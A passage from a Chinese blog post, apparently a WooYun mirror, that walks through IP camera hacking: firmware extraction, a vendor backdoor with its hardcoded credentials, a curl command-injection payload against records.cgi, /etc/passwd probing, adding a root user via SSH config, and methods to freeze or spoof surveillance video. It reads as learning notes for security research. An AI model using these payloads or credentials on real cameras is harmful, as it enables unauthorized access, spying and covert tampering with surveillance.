Embedded devices hacking

wyzsk發表於2020-08-19
作者: redrain有節操 · 2015/03/10 13:49

0x00 IPCAM hacking


  • TOOLS
    github-binwalk
    firmware-mod-kit
    IDA
    ......

  • 主要分析流程
    透過binwalk分析識別韌體檔案
    分離提取韌體
    把提取的elf載入到分析軟體(IDA)
    開始分析研究吧~

binwalk和fmk學習


binwalk

binwalk xxx.bin

最簡單的分析命令,透過簽名匹配來識別韌體中的檔案,可是單單透過這樣的簡單匹配可能有其他的檔案型別不能識別,所以有時可以使用外掛--enable-plugin=***
可以從圖中看出,0x32E8的便宜位置是gzip的壓縮包檔案,0x8A6A88的便宜位置是linux核心映象的頭部,可以看到他的一些資訊

binwalk xxx.bin --dd=型別:儲存下來的副檔名

這樣,會把gzip的檔案儲存到本地以.gzip命名

也可以用binwalk自動化遞迴提取binwalk xxx.bin -eM

之後iou就可以透過解包等行為分析我們提取出來的檔案了,不過,在一些簡單的分析情況下,我們這樣識別,分析,提取,過濾,解包,有些繁雜,此時就可以用fmk來幫我們很快的完成這些工作

p.s. 除了透過binwalk的內建函式進行提取,我們還可以透過dd命令來提取檔案
dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename

  • firmware-mod-kit

透過svn安裝fmk,我們來認識一下這個套件用到的東西

extract-firmware.sh使用來解包韌體
build-firmware.sh使用來重新封包
check_for_upgrade.sh用來檢查更新
unsquashfs_all.sh使用來解包提取出來的squashfs檔案

#!bash
./extract-firmware.sh xxx.bin

可以很方便的幫我們提取檔案

之後,我們可以在當前目錄的fmk下找到提取出來的檔案

logs目錄下還給我們提供了binwalk的log

rootfs下就是韌體解包提取的檔案了

IPCAM hacking


網路攝像頭hacking其實和其他嵌入式裝置hacking類似,尤其和各種路由器的玩法相似,我們此處簡要以一個運用非常廣泛的網路攝像頭為例,3s的攝像頭,在分析中,我發現了其廠商自帶的後門以及一個RCE,篇幅所限,第一篇筆記我們只提到後門(其實就是懶,不想碼字...)

透過上述過程解包提取檔案,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的原始碼

將httpd丟入IDA
很快看到有奇怪的東西亂入了...system.anonymousptz....why are u so diao

官方後門get,shodan上搜一搜發現在今年上半年已經有老外發過了,但是貌似這個後門至今3s公司依舊在其他的攝像頭型號裡使用...給跪

影響所有N10xx到N50xx型號的攝像頭

0x02 function calls to the evil


我們透過ida分析N5071的webserver後發現了他至今使用的官方後門,已經可以透過後門未授權透過web訪問IPCAM進行研(偷)究(窺)了,但是作為一名hacker,這還不夠酷,在分析的過程中,我還發現了影響其N產品的一個遠端命令執行,雖是第一次做binary分析,但是很有趣,僅以此文做學習嵌入式裝置hacking的記錄 :)

在N5071的程式碼中,有很多諸如sprintf strcpy的不安全函式呼叫,當我們配合之前提到的後門時,那影響就是一片一片的~

這個系列產品是可以支援管理本地檔案儲存的,在webserver中,有records.cgi控制

records.cgi使用來做刪除操作,會先交由函式do_records檢查是否存在檔案

如果檔案存在,那麼就會拋給sprintf去做字串格式化然後執行rm命令刪除,如圖:

那麼,問題就來了,上學老師就告訴過,sprintf要不得,一點過濾都沒有而且這裡還是用的system function
(web狗表示這裡能夠搞定很開心~)

所以,我們可以利用官方那個後門訪問records.cgi,構造payload來進行命令注入從而執行系統命令

#!bash
curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`

0x03 exploit


執行poweroff後~

0x04 IPCAM&&videorecorders


一直以來,hacking題材的電影都非常炫酷,駭客們入侵大樓在鍵盤上噼裡啪啦,不多時就如入無人之境,分分鐘黑下大樓的所有系統,其中,對監控攝像頭的hacking描寫也很多,這次我們就來“意淫”一下,入侵大樓時,hacking監控攝像(文中案例都是我編的,請勿對號入座)

一般大樓內都有許多攝像頭,它們通常區分為網路攝像頭和錄影機,錄影機是可以儲存畫面資料的,先來大致瞭解一下他們是如何工作的:

image

image

如上圖,管理介面可以分屏檢視當前線上的所有cam畫面

從簡易到拓撲我們可以看到,在整個系統中manage server用作管理下屬cam,通常有web ui,管理還可透過自己的裝置接入進行管理操作,管理的日誌和資料存放在資料庫中,說明是有資料查詢互動的,DVR錄影機的畫面資料也會存放在server中,而ipcam則會實時傳輸,也就是說,我們hacking的入手點,可以放在DVR,IPCAM,manager的web方向

也就是說,我們可以透過:

web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM) OR

Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)

一個是透過上層到底層,另一個則直接透過IPCAM或DVR的韌體問題直接hacking

0x05 some tricks


上一篇文章中我們透過執行payload時使用curl發包,用ping來檢測命令是否注入,在embedded devices hacking中,還有一些小trick可以幫助我們

很多時候,廠商對原始裝置進行了二次開發,所以有些命令你在其他裝置work,在目標裝置就不work,所以我們可以多采用幾種命令進行測試,如curl,wget,nc

靈活使用linux命令進行字串操作

#!bash
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
// 檢測root,下面是一些更好的方式。 
$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1 
$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1

(學習自wooyun zone)

當遇到目標有限制字元時,可以寫入shell指令碼進行執行

如果你非常不幸,遇到了一個閹割命令的busybox多嵌入式裝置,許可權很高卻無法執行命令,那麼,你需要參考喔之前的一篇文章網路裝置中限制使用者命令互動的逃逸

ssh給我們提供了一個可以按照配置預期執行命令的功能,在$HOME/.ssh/ config中進行配置,我們可以達到這樣的效果,我們在配置檔案中預期執行新增一個新的root使用者,UID為0且無限制執行命令,以此來逃逸網路裝置的限制問題

0x06 你看到的不是真相


在電影裡,我們除了看到駭客直接把大樓系統黑下,還經常看到篡改攝像頭的畫面,這是怎麼做到的~DVR我沒研究過,所以暫時不發表觀點,在IPCAM,因為資料時以流的形式傳送的,所以,如果我們把資料傳輸的流掐斷,會怎樣呢~

答案是管理在web ui上看到的,會凍結在掐斷之前的畫面,之後攝像頭捕捉到到所有畫面都不會實時傳輸回去,以此來達到篡改的目的

舉個例子,在Trendnet的一款攝像頭中,透過fmk分離韌體,我看到了一個叫做mjpg.cgi的檔案,這個cgi程式起到的作用就是用來傳輸攝像頭到web ui這個過程的,那麼~

我只需要kill掉mjdp程式,整個畫面就凍結在kill之前的畫面了,在這個攻擊中,我甚至都不用ssh連線後本地執行,因為我們可以配合之前所說道的攻擊流程,直接對cam韌體分析,透過類似RCE的方式kill~

有同學問到了一個問題,關於時間戳的事兒,這得分情況,如果是DVR的話,錄影畫面都是從儲存裝置中調取,所以要篡改,需要更換檔案(因為美研究過DVR,這是我意淫的)

對於IPCAM,有部分不帶時間戳,不用考慮這個問題,如果帶的,也不用擔心,因為他們處理畫面傳輸和時間的程式時兩個不同的,你kill了畫面的而已(這涉及到他裝置的功能實現問題,如果他二者都在一起,當我沒說~)

但是~這並不是一個最好的hacking方法,因為這有一個弊端,如果管理員重新載入瀏覽管理頁面時,程式又會重啟,他又會得到實時的畫面傳輸

那麼,大招來了,我們是不是可以透過什麼攻擊方式來實時更改畫面傳輸,或者說,我們是不是可以透過更好的hacking手段來進行實時欺騙,答案很明顯~當然可以

我們可以透過一個很簡單的shell指令碼來替換程式傳輸的畫面為你需要的一個靜態圖片來達到欺騙的目的,大概實現如下:

#!bash
echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
cat ztzsb.jpg

如何執行這個東西,就不用贅述了,你可以直接新建一個,也可以直接加入到cgi指令碼中,讓他自己來執行,如果有更棒的方法,求告知學習~在執行我們的指令碼後,管理得到的畫面將是你的欺騙畫面

多說一句的是,我比較推薦的是備份原始cgi,用新的指令碼來執行欺騙,這樣有個好處是可以針對普遍情況的裝置,避免二次開發或者不同裝置對原始cgi的依賴問題,避免錯誤

image

0x07 我是如何劫持你的攝像頭的


之前的幾篇文章已經介紹了ipcam的幾種玩法和案例

ipcam hacking_1

ipcam hacking_2

ipcam hacking_3

ipcam hacking_3中,我們還簡單的介紹了一種劫持攝像頭畫面傳輸的hacking手法

那麼,我們今天就來主要看看劫持ipcam的姿勢

我們說過,如何對ipcam進行畫面劫持,得弄明白這款攝像頭實現畫面傳輸的邏輯,我們大概可以對劫持準備進行這麼幾步:

  • 確定用於影片流傳輸的協議
  • 找到處理影片流的CGI
  • 分析指令碼檔案,找到指令碼中的功能函式
  • 有些攝像頭韌體是沒有動態指令碼的,功能處理都寫在server的bin中,所以還要分析server的bin檔案
  • 你看到的不是真的,hack it!

很簡單,一步一步來,相對於白盒,直接黑盒測試更方便判斷協議和找到處理指令碼,然後在針對的進行白盒分析

韌體分離我們就不說了,可以參看我之前的幾篇文章,我們在影片傳輸的功能頁面進行抓包,得到這樣的報文:

0x08 確定協議


#!bash
GET /videostream.cgi HTTP/1.1
Host: 10.10.1.3
Connection: keep-alive
Authorization: Basic YWRtaW46
HTTP/1.1 200 OK
Server: Netwave IP Camera
Date: Thu, 01 Jan 1970 22:10:36 GMT
Accept-Ranges: bytes
Connection: close
Content-Type: multipart/x-mixed-replace;boundary=ipcamera
--ipcamera
Content-Type: image/jpeg
Content-Length: 17561
......JFIF..............Lavc54.27.100....Cztzztzztzztzztzztz

連結型別是multipart/x-mixed-replace,透過http協議來模擬畫面的推送

就是說每次的畫面傳輸都是ipcam使用的mjpeg流的傳輸,畫面就是一張圖一張圖連貫起來形成的影片畫面

0x09 找到處理影片的CGI


同樣,在web介面中的畫面監控的地方進行抓包,得到了整個傳輸過程的報文

從live.html --> cam.html --> videostream.cgi

透過使用fmk對韌體分離,grep找到了videostream.cgi是寫在handle_cgi_requests這個bin檔案中的

image

透過滑鼠滾輪大法,我發現除了videostream.cgi這個檔案控制畫面傳輸功能之外,還有videostream.asf,這在之前的黑盒測試中是無法發現的

image

所以我們一會兒分析的時候除了videostream.cgi還有videostream.asf

可能有朋友要問了,你不會順著跟蹤函式來分析功能麼?為什麼還傻乎乎的滾滑鼠一個一個找? (QAQ因為我是web狗)

0x10 找到實現功能的函式


因為這個韌體是將功能寫入到bin檔案中的,所以找到其實現的函式也是在bin中找(web狗壓力好大。。。)

透過跟蹤videostream.cgi和videostream.asf,可以找到這樣一個函式 image

函式功能用於接收攝像頭捕捉到的畫面並且會返回一個相應的包頭和jpg的資料

(接下來就是對這個bin檔案的詳細分析,web狗做的分析,肯定有很多不對,求各位斧正)

#!bash
image_counter = 0;
image_data = malloc(size_of_image);
[r4, #4] = image_data;
sprintf(&image_data, "/home/my_picture_%d",
image_counter);
f = fopen(image_data, "rb");
fread(&image_data, 1, size_of_image, f);
fclose(f);
[R4, #0xC] = size_of_image;
image_counter ++;
image_counter = image_counter % number_of_images;

看得出來,每次畫面的選取都是從/home/my_picture這裡選取的,因為之前說過,整個畫面傳輸的工作都是連續的圖片傳輸,所以,如果我們可以對這裡的檔案進行批次的寫操作,就能夠對畫面進行實時欺騙了呢

yep,但是對ipcam的畫面劫持的前提是,你需要獲得到這個攝像頭的會話,並且有一定許可權,對檔案進行寫操作

所以,整個過程,應該是這樣:

  • 找到目標攝像頭並確定其版本,型號,對韌體進行下載分析
  • 利用之前該版本爆出過的漏洞或者自己對韌體分析後得到的漏洞獲取會話
  • 確定用於影片流傳輸的協議
  • 找到處理影片流的CGI
  • 分析指令碼檔案,找到指令碼中的功能函式
  • 有些攝像頭韌體是沒有動態指令碼的,功能處理都寫在server的bin中,所以還要分析server的bin檔案
  • 你看到的不是真的,hack it!

0x11 something fun


在我對影片流劫持查詢資料學習的時候,我找到了一個小玩意videojak

videojak是一個很簡單的ipcam的安全測試工具,它可以在你獲取到的ipcam中做一個類似MITM的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流

挺好玩呢

還有一個針對2013年blackhat大會上,Craig Heffner大神的好萊塢hacking議題中提到的所有攝像頭漏洞的直接利用工具,ipcamshell

ipcamshell可以幫助你直接獲取一個互動式的會話,並且拿到這個攝像頭的認證使用者名稱和密碼

0x12 結語


文章最後,感謝各位不噴我這班門弄斧的crack水平和bin分析,因為每款型號的攝像頭的韌體功能實現都不相同,所以文中的例子只是一個例子而已,主要是介紹一下整個分析思路和過程。

我也還在折騰學習攝像頭方面的hacking,希望各位不吝賜教~

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章